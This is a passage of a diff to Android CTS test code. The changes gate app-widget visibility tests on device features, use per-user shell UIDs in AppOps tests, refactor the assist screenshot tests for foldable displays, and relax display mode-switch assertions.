AppEnumerationTests { @Test public void queriesPackage_canSeeAppWidgetProviderTarget() throws Exception { + assumeTrue(InstrumentationRegistry.getInstrumentation().getContext().getPackageManager() + .hasSystemFeature(PackageManager.FEATURE_APP_WIDGETS)); + assertVisible(QUERIES_PACKAGE, TARGET_APPWIDGETPROVIDER, this::getInstalledAppWidgetProviders); } @Test public void queriesNothing_cannotSeeAppWidgetProviderTarget() throws Exception { + assumeTrue(InstrumentationRegistry.getInstrumentation().getContext().getPackageManager() + .hasSystemFeature(PackageManager.FEATURE_APP_WIDGETS)); + assertNotVisible(QUERIES_NOTHING, TARGET_APPWIDGETPROVIDER, this::getInstalledAppWidgetProviders); assertNotVisible(QUERIES_NOTHING, TARGET_APPWIDGETPROVIDER_SHARED_USER, @@ -1025,6 +1032,9 @@ public class AppEnumerationTests { @Test public void queriesNothingSharedUser_canSeeAppWidgetProviderSharedUserTarget() throws Exception { + assumeTrue(InstrumentationRegistry.getInstrumentation().getContext().getPackageManager() + .hasSystemFeature(PackageManager.FEATURE_APP_WIDGETS)); + assertVisible(QUERIES_NOTHING_SHARED_USER, TARGET_APPWIDGETPROVIDER_SHARED_USER, this::getInstalledAppWidgetProviders); } diff --git a/tests/tests/appop/src/android/app/appops/cts/AppOpsTest.kt b/tests/tests/appop/src/android/app/appops/cts/AppOpsTest.kt index ed6cf6df17f..e48ba00a384 100644 --- a/tests/tests/appop/src/android/app/appops/cts/AppOpsTest.kt +++ b/tests/tests/appop/src/android/app/appops/cts/AppOpsTest.kt @@ -47,6 +47,7 @@ import android.app.AppOpsManager.OPSTR_WRITE_CALENDAR import android.content.Context import android.content.pm.PackageManager import android.os.Process +import android.os.UserHandle import android.platform.test.annotations.AppModeFull import androidx.test.runner.AndroidJUnit4 import androidx.test.InstrumentationRegistry @@ -138,6 +139,9 @@ class AppOpsTest { permissionToOpStr[permission.INTERACT_ACROSS_PROFILES] = AppOpsManager.OPSTR_INTERACT_ACROSS_PROFILES } + + val USER_SHELL_UID = UserHandle.getUid(Process.myUserHandle().identifier, + UserHandle.getAppId(Process.SHELL_UID)) } @Before @@ -257,29 +261,29 @@ class AppOpsTest { try { mAppOps.startOp(OPSTR_WRITE_CALENDAR, mMyUid, mOpPackageName, "firstAttribution", null) - assertTrue(mAppOps.isOpActive(OPSTR_WRITE_CALENDAR, Process.SHELL_UID, + assertTrue(mAppOps.isOpActive(OPSTR_WRITE_CALENDAR, USER_SHELL_UID, SHELL_PACKAGE_NAME)) gotActive.get(TIMEOUT_MS, TimeUnit.MILLISECONDS) mAppOps.startOp(OPSTR_WRITE_CALENDAR, Process.myUid(), mOpPackageName, "secondAttribution", null) - assertTrue(mAppOps.isOpActive(OPSTR_WRITE_CALENDAR, Process.SHELL_UID, + assertTrue(mAppOps.isOpActive(OPSTR_WRITE_CALENDAR, USER_SHELL_UID, SHELL_PACKAGE_NAME)) assertFalse(gotInActive.isDone) - mAppOps.finishOp(OPSTR_WRITE_CALENDAR, Process.SHELL_UID, SHELL_PACKAGE_NAME, + mAppOps.finishOp(OPSTR_WRITE_CALENDAR, USER_SHELL_UID, SHELL_PACKAGE_NAME, "firstAttribution") // Allow some time for premature "watchingActive" callbacks to arrive Thread.sleep(500) - assertTrue(mAppOps.isOpActive(OPSTR_WRITE_CALENDAR, Process.SHELL_UID, + assertTrue(mAppOps.isOpActive(OPSTR_WRITE_CALENDAR, USER_SHELL_UID, SHELL_PACKAGE_NAME)) assertFalse(gotInActive.isDone) - mAppOps.finishOp(OPSTR_WRITE_CALENDAR, Process.SHELL_UID, SHELL_PACKAGE_NAME, + mAppOps.finishOp(OPSTR_WRITE_CALENDAR, USER_SHELL_UID, SHELL_PACKAGE_NAME, "secondAttribution") - assertFalse(mAppOps.isOpActive(OPSTR_WRITE_CALENDAR, Process.SHELL_UID, + assertFalse(mAppOps.isOpActive(OPSTR_WRITE_CALENDAR, USER_SHELL_UID, SHELL_PACKAGE_NAME)) gotInActive.get(TIMEOUT_MS, TimeUnit.MILLISECONDS) } finally { @@ -296,7 +300,7 @@ class AppOpsTest { val activeWatcher = AppOpsManager.OnOpActiveChangedListener { _, uid, packageName, active -> if (packageName == SHELL_PACKAGE_NAME && - uid == Process.SHELL_UID) { + uid == USER_SHELL_UID) { receivedActiveState.push(active) } } @@ -307,13 +311,13 @@ class AppOpsTest { mAppOps.startOp(OPSTR_WIFI_SCAN, mMyUid, mOpPackageName, null, null) assertTrue(receivedActiveState.poll(TIMEOUT_MS, TimeUnit.MILLISECONDS)!!) - mAppOps.finishOp(OPSTR_WIFI_SCAN, Process.SHELL_UID, SHELL_PACKAGE_NAME, null) + mAppOps.finishOp(OPSTR_WIFI_SCAN, USER_SHELL_UID, SHELL_PACKAGE_NAME, null) assertFalse(receivedActiveState.poll(TIMEOUT_MS, TimeUnit.MILLISECONDS)!!) mAppOps.startOp(OPSTR_WIFI_SCAN, mMyUid, mOpPackageName, null, null) assertTrue(receivedActiveState.poll(TIMEOUT_MS, TimeUnit.MILLISECONDS)!!) - mAppOps.finishOp(OPSTR_WIFI_SCAN, Process.SHELL_UID, SHELL_PACKAGE_NAME, null) + mAppOps.finishOp(OPSTR_WIFI_SCAN, USER_SHELL_UID, SHELL_PACKAGE_NAME, null) assertFalse(receivedActiveState.poll(TIMEOUT_MS, TimeUnit.MILLISECONDS)!!) } finally { mAppOps.stopWatchingActive(activeWatcher) diff --git a/tests/tests/assist/service/src/android/assist/service/MainInteractionSession.java b/tests/tests/assist/service/src/android/assist/service/MainInteractionSession.java index f534aa8cf04..899721cb2f3 100644 --- a/tests/tests/assist/service/src/android/assist/service/MainInteractionSession.java +++ b/tests/tests/assist/service/src/android/assist/service/MainInteractionSession.java @@ -160,7 +160,7 @@ public class MainInteractionSession extends VoiceInteractionSession { data, activity, structure, content)); if (activity != null && Utils.isAutomotive(mContext) - && !activity.getPackageName().equals("android.assist.testapp")) { + && !activity.getPackageName().startsWith("android.assist")) { // TODO: automotive has multiple activities / displays, so the test might fail if it // receives one of them (like the cluster activity) instead of what's expecting. This is // a quick fix for the issue; a better solution would be refactoring the infra to diff --git a/tests/tests/assist/src/android/assist/cts/AssistTestBase.java b/tests/tests/assist/src/android/assist/cts/AssistTestBase.java index 8c25deae26c..44a3109a740 100644 --- a/tests/tests/assist/src/android/assist/cts/AssistTestBase.java +++ b/tests/tests/assist/src/android/assist/cts/AssistTestBase.java @@ -73,6 +73,7 @@ import java.util.HashMap; import java.util.Map; import java.util.concurrent.TimeUnit; import java.util.concurrent.atomic.AtomicReference; +import java.util.function.Consumer; @RunWith(AndroidJUnit4.class) abstract class AssistTestBase { @@ -140,7 +141,8 @@ abstract class AssistTestBase { @Nullable protected RemoteCallback m3pActivityCallback; - private RemoteCallback m3pCallbackReceiving; + @Nullable + protected RemoteCallback mSecondary3pActivityCallback; protected boolean mScreenshotMatches; private Point mDisplaySize; @@ -168,7 +170,6 @@ abstract class AssistTestBase { mActionLatchReceiver = new ActionLatchReceiver(); prepareDevice(); - registerForAsyncReceivingCallback(); customSetup(); } @@ -185,11 +186,15 @@ abstract class AssistTestBase { mTestActivity.finish(); mContext.sendBroadcast(new Intent(Utils.HIDE_SESSION)); - if (m3pActivityCallback != null) { m3pActivityCallback.sendResult(Utils.bundleOfRemoteAction(Utils.ACTION_END_OF_TEST)); } + if (mSecondary3pActivityCallback != null) { + mSecondary3pActivityCallback + .sendResult(Utils.bundleOfRemoteAction(Utils.ACTION_END_OF_TEST)); + } + mSessionCompletedLatch.await(3, TimeUnit.SECONDS); } @@ -209,19 +214,6 @@ abstract class AssistTestBase { runShellCommand("wm dismiss-keyguard"); } - private void registerForAsyncReceivingCallback() { - HandlerThread handlerThread = new HandlerThread("AssistTestCallbackReceivingThread"); - handlerThread.start(); - Handler handler = new Handler(handlerThread.getLooper()); - - m3pCallbackReceiving = new RemoteCallback((results) -> { - String action = results.getString(Utils.EXTRA_REMOTE_CALLBACK_ACTION); - if (action.equals(Utils.EXTRA_REMOTE_CALLBACK_RECEIVING_ACTION)) { - m3pActivityCallback = results.getParcelable(Utils.EXTRA_REMOTE_CALLBACK_RECEIVING); - } - }, handler); - } - protected void startTest(String testName) throws Exception { Log.i(TAG, "Starting test activity for TestCaseType = " + testName); Intent intent = new Intent(); @@ -244,7 +236,25 @@ abstract class AssistTestBase { Utils.setTestAppAction(intent, testCaseName); intent.putExtra(Utils.EXTRA_REMOTE_CALLBACK, mRemoteCallback); intent.addFlags(Intent.FLAG_ACTIVITY_MATCH_EXTERNAL); - intent.putExtra(Utils.EXTRA_REMOTE_CALLBACK_RECEIVING, m3pCallbackReceiving); + + // In devices which support multi-window Activity positioning by default (such as foldables) + // it is necessary to launch additional activities ("screen fillers") so we may validate the + // entire screenshot captured by the Assistant (full display, not individual DisplayAreas) + if (m3pActivityCallback == null) { // first time start3pApp is called + intent.putExtra(Utils.EXTRA_REMOTE_CALLBACK_RECEIVING, + createRemoteCallbackReceiver(callback -> m3pActivityCallback = callback)); + } else if (mSecondary3pActivityCallback == null) { // second time + // launch 3pApp on adjacent screen in test cases that need a "screen filler". + // necessary configuration to ensure Activity can be launched in another DisplayArea + intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_LAUNCH_ADJACENT + // as we are reusing this intent setup, unconditionally start a new task + | Intent.FLAG_ACTIVITY_MULTIPLE_TASK); + intent.putExtra(Utils.EXTRA_REMOTE_CALLBACK_RECEIVING, createRemoteCallbackReceiver( + remoteCallback -> mSecondary3pActivityCallback = remoteCallback)); + } else { + throw new IllegalStateException("start3pApp supports a maximum of two App instances."); + } + if (extras != null) { intent.putExtras(extras); } @@ -253,6 +263,15 @@ abstract class AssistTestBase { waitForOnResume(); } + private RemoteCallback createRemoteCallbackReceiver(Consumer<RemoteCallback> consumer) { + return new RemoteCallback((results) -> { + String action = results.getString(Utils.EXTRA_REMOTE_CALLBACK_ACTION); + if (action.equals(Utils.EXTRA_REMOTE_CALLBACK_RECEIVING_ACTION)) { + consumer.accept(results.getParcelable(Utils.EXTRA_REMOTE_CALLBACK_RECEIVING)); + } + }, new Handler(mContext.getMainLooper())); + } + /** * Starts the shim service activity */ @@ -319,9 +338,8 @@ abstract class AssistTestBase { */ private void addDimensionsToIntent(Intent intent) { if (mDisplaySize == null) { - Display display = mTestActivity.getWindowManager().getDefaultDisplay(); - mDisplaySize = new Point(); - display.getRealSize(mDisplaySize); + Display.Mode dMode = mTestActivity.getWindowManager().getDefaultDisplay().getMode(); + mDisplaySize = new Point(dMode.getPhysicalWidth(), dMode.getPhysicalHeight()); } intent.putExtra(Utils.DISPLAY_WIDTH_KEY, mDisplaySize.x); intent.putExtra(Utils.DISPLAY_HEIGHT_KEY, mDisplaySize.y); diff --git a/tests/tests/assist/src/android/assist/cts/ScreenshotTest.java b/tests/tests/assist/src/android/assist/cts/ScreenshotTest.java index c9d16c8546e..e5f0cd12b22 100644 --- a/tests/tests/assist/src/android/assist/cts/ScreenshotTest.java +++ b/tests/tests/assist/src/android/assist/cts/ScreenshotTest.java @@ -39,48 +39,20 @@ public class ScreenshotTest extends AssistTestBase { @Test public void testRedScreenshot() throws Throwable { - if (mActivityManager.isLowRamDevice()) { - Log.d(TAG, "Not running assist tests on low-RAM device."); - return; - } - - startTest(TEST_CASE_TYPE); - waitForAssistantToBeReady(); - - Bundle bundle = new Bundle(); - bundle.putInt(Utils.SCREENSHOT_COLOR_KEY, Color.RED); - start3pApp(TEST_CASE_TYPE, bundle); - - eventuallyWithSessionClose(() -> { - delayAndStartSession(Color.RED); - verifyAssistDataNullness(false, false, false, false); - assertThat(mScreenshotMatches).isTrue(); - }); + validateDeviceAndRunTestForColor(Color.RED); } @Test public void testGreenScreenshot() throws Throwable { - if (mActivityManager.isLowRamDevice()) { - Log.d(TAG, "Not running assist tests on low-RAM device."); - return; - } - - startTest(TEST_CASE_TYPE); - waitForAssistantToBeReady(); - - Bundle bundle = new Bundle(); - bundle.putInt(Utils.SCREENSHOT_COLOR_KEY, Color.GREEN); - start3pApp(TEST_CASE_TYPE, bundle); - - eventuallyWithSessionClose(() -> { - delayAndStartSession(Color.GREEN); - verifyAssistDataNullness(false, false, false, false); - assertThat(mScreenshotMatches).isTrue(); - }); + validateDeviceAndRunTestForColor(Color.GREEN); } @Test public void testBlueScreenshot() throws Throwable { + validateDeviceAndRunTestForColor(Color.BLUE); + } + + private void validateDeviceAndRunTestForColor(int color) throws Throwable { if (mActivityManager.isLowRamDevice()) { Log.d(TAG, "Not running assist tests on low-RAM device."); return; @@ -90,11 +62,15 @@ public class ScreenshotTest extends AssistTestBase { waitForAssistantToBeReady(); Bundle bundle = new Bundle(); - bundle.putInt(Utils.SCREENSHOT_COLOR_KEY, Color.BLUE); + bundle.putInt(Utils.SCREENSHOT_COLOR_KEY, color); + start3pApp(TEST_CASE_TYPE, bundle); + // In multi-window devices (particularly foldables) we must cover the entire display + // to properly validate the Assistant screenshot; as there is no standard API to determine + // how many DisplayAreas a screen may contain, open a secondary activity for basic cases start3pApp(TEST_CASE_TYPE, bundle); eventuallyWithSessionClose(() -> { - delayAndStartSession(Color.BLUE); + delayAndStartSession(color); verifyAssistDataNullness(false, false, false, false); assertThat(mScreenshotMatches).isTrue(); }); diff --git a/tests/tests/content/BinderPermissionTestService/Android.bp b/tests/tests/content/BinderPermissionTestService/Android.bp index 928e532afa1..8ba24325f87 100644 --- a/tests/tests/content/BinderPermissionTestService/Android.bp +++ b/tests/tests/content/BinderPermissionTestService/Android.bp @@ -27,6 +27,7 @@ android_test_helper_app { "aidl/**/I*.aidl", ], test_suites: [ + "mts", "cts", "general-tests", ], diff --git a/tests/tests/content/DirectBootUnawareTestApp/Android.bp b/tests/tests/content/DirectBootUnawareTestApp/Android.bp index 4a1a9bb052e..8c35eb4b35f 100644 --- a/tests/tests/content/DirectBootUnawareTestApp/Android.bp +++ b/tests/tests/content/DirectBootUnawareTestApp/Android.bp @@ -22,6 +22,7 @@ android_test_helper_app { sdk_version: "current", // tag this module as a cts test artifact test_suites: [ + "mts", "cts", "general-tests", ], diff --git a/tests/tests/content/HelloWorldApp/Android.bp b/tests/tests/content/HelloWorldApp/Android.bp index e3c2de5ab37..cb453239f0c 100644 --- a/tests/tests/content/HelloWorldApp/Android.bp +++ b/tests/tests/content/HelloWorldApp/Android.bp @@ -42,6 +42,7 @@ android_test { srcs: ["src5/**/*.java"], // tag this module as a cts test artifact test_suites: [ + "mts", "cts", "general-tests", ], @@ -56,6 +57,7 @@ android_test { manifest: "AndroidManifestProfileable.xml", // tag this module as a cts test artifact test_suites: [ + "mts", "cts", "vts10", "general-tests", @@ -70,6 +72,7 @@ android_test { srcs: ["src7/**/*.java"], // tag this module as a cts test artifact test_suites: [ + "mts", "cts", "general-tests", ], @@ -105,6 +108,7 @@ android_test { ], // tag this module as a cts test artifact test_suites: [ + "mts", "cts", "general-tests", ], @@ -120,6 +124,7 @@ android_test { manifest: "AndroidManifestShell.xml", // tag this module as a cts test artifact test_suites: [ + "mts", "cts", "vts10", "general-tests", diff --git a/tests/tests/content/PartiallyDirectBootAwareTestApp/Android.bp b/tests/tests/content/PartiallyDirectBootAwareTestApp/Android.bp index c24d69a3b5a..c211c0c2ad4 100644 --- a/tests/tests/content/PartiallyDirectBootAwareTestApp/Android.bp +++ b/tests/tests/content/PartiallyDirectBootAwareTestApp/Android.bp @@ -22,6 +22,7 @@ android_test_helper_app { sdk_version: "current", // tag this module as a cts test artifact test_suites: [ + "mts", "cts", "general-tests", ], diff --git a/tests/tests/content/SyncAccountAccessStubs/Android.bp b/tests/tests/content/SyncAccountAccessStubs/Android.bp index e8904d7fa44..9f1e9abfd20 100644 --- a/tests/tests/content/SyncAccountAccessStubs/Android.bp +++ b/tests/tests/content/SyncAccountAccessStubs/Android.bp @@ -25,6 +25,7 @@ android_test_helper_app { srcs: ["src/**/*.java"], sdk_version: "current", test_suites: [ + "mts", "cts", "general-tests", ], diff --git a/tests/tests/content/emptytestapp/Android.bp b/tests/tests/content/emptytestapp/Android.bp index 42f36d0291a..70c87fe8da5 100644 --- a/tests/tests/content/emptytestapp/Android.bp +++ b/tests/tests/content/emptytestapp/Android.bp @@ -22,6 +22,7 @@ android_test_helper_app { sdk_version: "current", // tag this module as a cts test artifact test_suites: [ + "mts", "cts", "general-tests", ], @@ -35,6 +36,7 @@ android_test_helper_app { manifest: "AndroidManifestLongPackageName.xml", // tag this module as a cts test artifact test_suites: [ + "mts", "cts", "general-tests", ], @@ -48,6 +50,7 @@ android_test_helper_app { manifest: "AndroidManifestLongSharedUserId.xml", // tag this module as a cts test artifact test_suites: [ + "mts", "cts", "general-tests", ], @@ -61,6 +64,7 @@ android_test_helper_app { manifest: "AndroidManifestMaxPackageName.xml", // tag this module as a cts test artifact test_suites: [ + "mts", "cts", "general-tests", ], @@ -73,6 +77,7 @@ android_test_helper_app { manifest: "AndroidManifestMaxSharedUserId.xml", // tag this module as a cts test artifact test_suites: [ + "mts", "cts", "general-tests", ], diff --git a/tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandIncrementalTest.java b/tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandIncrementalTest.java index 8470a12356e..d1a46b0ece9 100644 --- a/tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandIncrementalTest.java +++ b/tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandIncrementalTest.java @@ -934,10 +934,15 @@ public class PackageManagerShellCommandIncrementalTest { } static boolean isAppInstalled(String packageName) throws IOException { - final String commandResult = executeShellCommand("pm list packages"); - final int prefixLength = "package:".length(); + return isAppInstalledForUser(packageName, -1); + } + + static boolean isAppInstalledForUser(String packageName, int userId) throws IOException { + final String command = userId < 0 ? "pm list packages " + packageName : + "pm list packages --user " + userId + " " + packageName; + final String commandResult = executeShellCommand(command); return Arrays.stream(commandResult.split("\\r?\\n")) - .anyMatch(line -> line.substring(prefixLength).equals(packageName)); + .anyMatch(line -> line.equals("package:" + packageName)); } private String getSplits(String packageName) throws IOException { diff --git a/tests/tests/content/src/android/content/pm/cts/PackageManagerTest.java b/tests/tests/content/src/android/content/pm/cts/PackageManagerTest.java index 598e8825cf4..71648b3135f 100644 --- a/tests/tests/content/src/android/content/pm/cts/PackageManagerTest.java +++ b/tests/tests/content/src/android/content/pm/cts/PackageManagerTest.java @@ -1416,7 +1416,24 @@ public class PackageManagerTest { runTestWithFlags(PACKAGE_INFO_MATCH_FLAGS, this::testGetInstalledPackages_WithFactoryFlag_ContainsNoDuplicates); } + + // TODO(b/200519752): Remove once the bug is fixed + private boolean containsUpdatedApex() { + List<PackageInfo> installedApexPackages = + mPackageManager.getInstalledPackages(PackageManager.MATCH_APEX); + return installedApexPackages.stream().anyMatch( + p -> p.applicationInfo.sourceDir.startsWith("/data/apex")); + } + public void testGetInstalledPackages_WithFactoryFlag_ContainsNoDuplicates(int flags) { + // TODO(b/200519752): Due to the bug, if there are updated APEX modules, then test will fail + // for flag: 0x40002000 and its superset. Skip under that specific condition. + int flagToSkip = MATCH_UNINSTALLED_PACKAGES | MATCH_APEX; + if (containsUpdatedApex() && (flags & flagToSkip) == flagToSkip) { + // Return silently so that the test still gets run for other flag combination. + return; + } + List<PackageInfo> packageInfos = mPackageManager.getInstalledPackages(flags | MATCH_FACTORY_ONLY); Set<String> foundPackages = new HashSet<>(); diff --git a/tests/tests/content/src/android/content/pm/cts/ResourcesHardeningTest.java b/tests/tests/content/src/android/content/pm/cts/ResourcesHardeningTest.java index 0cb98f44539..5385577c163 100644 --- a/tests/tests/content/src/android/content/pm/cts/ResourcesHardeningTest.java +++ b/tests/tests/content/src/android/content/pm/cts/ResourcesHardeningTest.java @@ -17,7 +17,7 @@ package android.content.pm.cts; import static android.content.pm.cts.PackageManagerShellCommandIncrementalTest.checkIncrementalDeliveryFeature; -import static android.content.pm.cts.PackageManagerShellCommandIncrementalTest.isAppInstalled; +import static android.content.pm.cts.PackageManagerShellCommandIncrementalTest.isAppInstalledForUser; import static android.content.pm.cts.PackageManagerShellCommandIncrementalTest.uninstallPackageSilently; import static org.hamcrest.core.IsInstanceOf.instanceOf; @@ -373,20 +373,20 @@ public class ResourcesHardeningTest { final String v4SignatureSuffix = ".idsig"; final TestBlockFilter filter = new TestBlockFilter(); final IncrementalInstallSession.Builder builder = new IncrementalInstallSession.Builder() - .addExtraArgs("-t", "-i", getContext().getPackageName()) + .addExtraArgs("--user", String.valueOf(getContext().getUserId()), + "-t", "-i", getContext().getPackageName()) .setLogger(new IncrementalDeviceConnection.Logger()) .setBlockFilter(filter); for (final String apk : apks) { final String path = TEST_APK_PATH + apk; builder.addApk(Paths.get(path), Paths.get(path + v4SignatureSuffix)); } - final ShellInstallSession session = new ShellInstallSession( builder.build(), filter, packageName); session.session.start(Executors.newSingleThreadExecutor(), IncrementalDeviceConnection.Factory.reliable()); session.session.waitForInstallCompleted(10, TimeUnit.SECONDS); - assertTrue(isAppInstalled(packageName)); + assertTrue(isAppInstalledForUser(packageName, getContext().getUserId())); return session; } diff --git a/tests/tests/display/src/android/display/cts/DisplayTest.java b/tests/tests/display/src/android/display/cts/DisplayTest.java index a49528526a4..993ec858bd7 100644 --- a/tests/tests/display/src/android/display/cts/DisplayTest.java +++ b/tests/tests/display/src/android/display/cts/DisplayTest.java @@ -21,8 +21,15 @@ import static android.view.Display.DEFAULT_DISPLAY; import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation; -import static org.junit.Assert.*; -import static org.junit.Assume.*; +import static org.junit.Assert.assertArrayEquals; +import static org.junit.Assert.assertEquals; +import static org.junit.Assert.assertFalse; +import static org.junit.Assert.assertNotEquals; +import static org.junit.Assert.assertNotNull; +import static org.junit.Assert.assertNull; +import static org.junit.Assert.assertTrue; +import static org.junit.Assume.assumeNotNull; +import static org.junit.Assume.assumeTrue; import android.Manifest; import android.app.Activity; @@ -64,9 +71,12 @@ import androidx.test.rule.ActivityTestRule; import androidx.test.runner.AndroidJUnit4; import com.android.compatibility.common.util.AdoptShellPermissionsRule; +import com.android.compatibility.common.util.CddTest; import com.android.compatibility.common.util.DisplayUtil; import com.android.compatibility.common.util.PropertyUtil; +import com.google.common.truth.Truth; + import org.junit.After; import org.junit.Before; import org.junit.Rule; @@ -83,10 +93,10 @@ import java.util.List; import java.util.Optional; import java.util.Random; import java.util.Scanner; -import java.util.concurrent.TimeoutException; -import java.util.concurrent.atomic.AtomicInteger; import java.util.concurrent.CountDownLatch; import java.util.concurrent.TimeUnit; +import java.util.concurrent.TimeoutException; +import java.util.concurrent.atomic.AtomicInteger; import java.util.concurrent.locks.Condition; import java.util.concurrent.locks.Lock; import java.util.concurrent.locks.ReentrantLock; @@ -112,6 +122,7 @@ public class DisplayTest { private static final String OVERLAY_DISPLAY_NAME_PREFIX = "Overlay #"; private static final int BRIGHTNESS_MAX = 255; + private static final float REFRESH_RATE_TOLERANCE = 0.001f; private DisplayManager mDisplayManager; private WindowManager mWindowManager; @@ -120,6 +131,7 @@ public class DisplayTest { private ColorSpace[] mSupportedWideGamuts; private Display mDefaultDisplay; private HdrSettings mOriginalHdrSettings; + private int mInitialRefreshRateSwitchingType; // To test display mode switches. private TestPresentation mPresentation; @@ -193,7 +205,8 @@ public class DisplayTest { Manifest.permission.OVERRIDE_DISPLAY_MODE_REQUESTS, Manifest.permission.ACCESS_SURFACE_FLINGER, Manifest.permission.WRITE_SECURE_SETTINGS, - Manifest.permission.HDMI_CEC); + Manifest.permission.HDMI_CEC, + Manifest.permission.MODIFY_REFRESH_RATE_SWITCHING_TYPE); @Before public void setUp() throws Exception { @@ -594,12 +607,16 @@ public class DisplayTest { try { mDisplayManager.setShouldAlwaysRespectAppRequestedMode(true); assertTrue(mDisplayManager.shouldAlwaysRespectAppRequestedMode()); + mInitialRefreshRateSwitchingType = + DisplayUtil.getRefreshRateSwitchingType(mDisplayManager); + mDisplayManager.setRefreshRateSwitchingType(DisplayManager.SWITCHING_TYPE_NONE); final DisplayTestActivity activity = launchActivity(mRetainedDisplayTestActivity); for (Display.Mode mode : modesList) { testSwitchToModeId(activity, mode); } } finally { mDisplayManager.setShouldAlwaysRespectAppRequestedMode(false); + mDisplayManager.setRefreshRateSwitchingType(mInitialRefreshRateSwitchingType); } } @@ -618,10 +635,13 @@ public class DisplayTest { try { mDisplayManager.setShouldAlwaysRespectAppRequestedMode(true); assertTrue(mDisplayManager.shouldAlwaysRespectAppRequestedMode()); - final DisplayTestActivity activity = launchActivity(mDisplayTestActivity); + mInitialRefreshRateSwitchingType = + DisplayUtil.getRefreshRateSwitchingType(mDisplayManager); + mDisplayManager.setRefreshRateSwitchingType(DisplayManager.SWITCHING_TYPE_NONE); testSwitchToModeId(launchActivity(mDisplayTestActivity), newMode.get()); } finally { mDisplayManager.setShouldAlwaysRespectAppRequestedMode(false); + mDisplayManager.setRefreshRateSwitchingType(mInitialRefreshRateSwitchingType); } } @@ -629,16 +649,18 @@ public class DisplayTest { return new Point(mode.getPhysicalWidth(), mode.getPhysicalHeight()); } - private void testSwitchToModeId(DisplayTestActivity activity, Display.Mode mode) + private void testSwitchToModeId(DisplayTestActivity activity, Display.Mode targetMode) throws Exception { - Log.i(TAG, "Switching to mode " + mode); + final DisplayModeState initialMode = new DisplayModeState(mDefaultDisplay); + Log.i(TAG, "Testing switching to mode " + targetMode + ". Current mode = " + initialMode); final CountDownLatch changeSignal = new CountDownLatch(1); final AtomicInteger changeCounter = new AtomicInteger(0); - final DisplayModeState activeMode = new DisplayModeState(mDefaultDisplay); + final AtomicInteger changesToReachTargetMode = new AtomicInteger(0); DisplayListener listener = new DisplayListener() { - private DisplayModeState mLastMode = activeMode; + private DisplayModeState mLastMode = initialMode; + private boolean mIsDesiredModeReached = false; @Override public void onDisplayAdded(int displayId) {} @@ -656,7 +678,16 @@ public class DisplayTest { Log.i(TAG, "Switched mode from=" + mLastMode + " to=" + newMode); changeCounter.incrementAndGet(); - changeSignal.countDown(); + + if (targetMode.getPhysicalHeight() == newMode.mHeight + && targetMode.getPhysicalWidth() == newMode.mWidth + && Math.abs(targetMode.getRefreshRate() - newMode.mRefreshRate) + < REFRESH_RATE_TOLERANCE + && !mIsDesiredModeReached) { + mIsDesiredModeReached = true; + changeSignal.countDown(); + changesToReachTargetMode.set(changeCounter.get()); + } mLastMode = newMode; } @@ -670,7 +701,7 @@ public class DisplayTest { final CountDownLatch presentationSignal = new CountDownLatch(1); handler.post(() -> { - activity.setPreferredDisplayMode(mode); + activity.setPreferredDisplayMode(targetMode); presentationSignal.countDown(); }); @@ -679,13 +710,33 @@ public class DisplayTest { // Wait until the display change is effective. assertTrue(changeSignal.await(5, TimeUnit.SECONDS)); DisplayModeState currentMode = new DisplayModeState(mDefaultDisplay); - assertEquals(mode.getPhysicalHeight(), currentMode.mHeight); - assertEquals(mode.getPhysicalWidth(), currentMode.mWidth); - assertEquals(mode.getRefreshRate(), currentMode.mRefreshRate, 0.001f); + assertEquals(targetMode.getPhysicalHeight(), currentMode.mHeight); + assertEquals(targetMode.getPhysicalWidth(), currentMode.mWidth); + assertEquals(targetMode.getRefreshRate(), currentMode.mRefreshRate, REFRESH_RATE_TOLERANCE); + + + boolean isResolutionSwitch = initialMode.mHeight != targetMode.getPhysicalHeight() + || initialMode.mWidth != targetMode.getPhysicalHeight(); + boolean isRefreshRateSwitch = + Math.abs(initialMode.mRefreshRate - targetMode.getRefreshRate()) + > REFRESH_RATE_TOLERANCE; + // When both resolution and refresh rate are changed the transition can happen with two + // mode switches: + // 1) When the frame rate vote is applied in + // java.com.android.server.wm.WindowState#updateFrameRateSelectionPriorityIfNeeded + // 2) When the DisplayManager policy is applied to RefreshRateConfigs in SurfaceFlinger. + // TODO(b/199895248) Expect only 1 mode change. + Truth.assertThat(changesToReachTargetMode.get()) + .isAtMost((isResolutionSwitch && isRefreshRateSwitch) ? 2 : 1); // Make sure no more display mode changes are registered. Thread.sleep(Duration.ofSeconds(3).toMillis()); - assertEquals(1, changeCounter.get()); + + // When a resolution switch occurs the DisplayManager policy in RefreshRateConfigs + // is cleared and later reapplied. This may lead to two additional mode switches. + // TODO(b/200265160) Expect no changes. + Truth.assertThat(changeCounter.get() - changesToReachTargetMode.get()) + .isAtMost(isResolutionSwitch ? 2 : 0); // Many TV apps use the vendor.display-size sysprop to detect the display size (although // it's not an official API). In Android S the bugs which required this workaround were @@ -695,8 +746,8 @@ public class DisplayTest { if (PropertyUtil.getVendorApiLevel() >= Build.VERSION_CODES.S) { Point vendorDisplaySize = getVendorDisplaySize(); if (vendorDisplaySize != null) { - assertEquals(mode.getPhysicalWidth(), vendorDisplaySize.x); - assertEquals(mode.getPhysicalHeight(), vendorDisplaySize.y); + assertEquals(targetMode.getPhysicalWidth(), vendorDisplaySize.x); + assertEquals(targetMode.getPhysicalHeight(), vendorDisplaySize.y); } } @@ -972,6 +1023,7 @@ public class DisplayTest { assertEquals(supportsWideGamut, supportsP3); } + @CddTest(requirement="7.1.1.1/H-0-2") @Test public void testRestrictedFramebufferSize() { PackageManager packageManager = mContext.getPackageManager(); diff --git a/tests/tests/graphics/src/android/graphics/cts/MatchContentFrameRateTest.java b/tests/tests/graphics/src/android/graphics/cts/MatchContentFrameRateTest.java index ff0ce797eb8..26425c47051 100644 --- a/tests/tests/graphics/src/android/graphics/cts/MatchContentFrameRateTest.java +++ b/tests/tests/graphics/src/android/graphics/cts/MatchContentFrameRateTest.java @@ -53,7 +53,7 @@ public class MatchContentFrameRateTest { Manifest.permission.MODIFY_REFRESH_RATE_SWITCHING_TYPE, Manifest.permission.HDMI_CEC); - private int mInitialMatchContentFrameRate; + private int mInitialRefreshRateSwitchingType; private DisplayManager mDisplayManager; @Before @@ -68,14 +68,13 @@ public class 